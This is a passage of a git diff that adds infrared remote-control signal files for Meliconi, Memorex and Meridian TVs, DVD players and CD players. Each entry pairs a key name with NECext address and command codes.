00 00 00 +# +name: S/PAUSE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: S/F1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: S/F2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: S/F3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_F4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: S/F4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: TVf4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir new file mode 100644 index 000000000..58c412f38 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir new file mode 100644 index 000000000..8cc851d45 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: AV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir new file mode 100644 index 000000000..a3c7d3ef2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 80 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 81 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 82 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 83 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 88 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8C 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8D 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8F 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 90 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 90 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 91 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 93 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 93 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C0 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C1 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C2 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C4 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C5 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C6 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C8 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C9 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CC 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CD 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D0 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D1 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D2 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D2 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D3 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Memorex/TV/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Memorex/TV/4,-1.ir new file mode 100644 index 000000000..200d9f60a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Memorex/TV/4,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir new file mode 100644 index 000000000..77d48059d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir @@ -0,0 +1,374 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: SLOW_MOTION_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0A 00 00 00 +# +name: STANDBY_(OFF) +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0D 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 11 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 1D 00 00 00 +# +name: >>I_NEXT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: I<<_PREVIOUS +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 23 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 28 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 30 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 31 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 33 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 37 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3A 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3B 00 00 00 +# +name: PHASE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3C 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 43 00 00 00 +# +name: CHAPTER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 44 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 45 00 00 00 +# +name: INPUT_LD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 4C 00 00 00 +# +name: MENU_PLUS +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: MENU_MINUS +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 52 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 53 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 56 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 57 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5D 00 00 00 +# +name: DVD_MENU_+ +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5E 00 00 00 +# +name: DVD_MENU_- +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5F 00 00 00 +# +name: DVD_MENU_LEFT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 60 00 00 00 +# +name: DVD_MENU_RIGHT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 61 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6B 00 00 00 +# +name: INPUT_RADIO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6C 00 00 00 +# +name: INPUT_TAPE_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6D 00 00 00 +# +name: INPUT_TAPE_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6E 00 00 00 +# +name: INPUT_CABLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6F 00 00 00 +# +name: INPUT_VCR_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 70 00 00 00 +# +name: INPUT_VCR_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 71 00 00 00 +# +name: INPUT_LP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 72 00 00 00 +# +name: INPUT_TV +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 73 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 74 00 00 00 +# +name: INPUT_CDR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 75 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 79 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/CD Player/19,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Meridian/CD Player/19,-1.ir new file mode 100644 index 000000000..6d5686503 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Meridian/CD Player/19,-1.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0B 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0C 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0D 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0E 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 11 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 1D 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: RADIO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 24 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 25 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 26 00 00 00 +# +name: TAPE_3 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 27 00 00 00 +# +name: LINE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 28 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 29 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2A 00 00 00 +# +name: LP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2B 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2C 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 30 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 31 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 31 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 33 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: PHASE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3C 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 52 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 53 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 56 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 57 00 00 00 +# +name: DSP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5D 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 79 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/CD-R/19,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Meridian/CD-R/19,-1.ir new file mode 100644 index 000000000..5deba9916 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Meridian/CD-R/19,-1.ir @@ -0,0 +1,494 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0A 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0E 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 23 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 23 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 28 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 28 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 30 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 31 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 33 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 37 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3A 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3B 00 00 00 +# +name: PHASE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3C 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 43 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 43 00 00 00 +# +name: CHAPTER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 44 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 44 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 45 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 45 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 51 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 52 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 52 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 53 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 56 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 57 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 57 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 7A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir new file mode 100644 index 000000000..3c750b1f0 --- /dev/null +++ 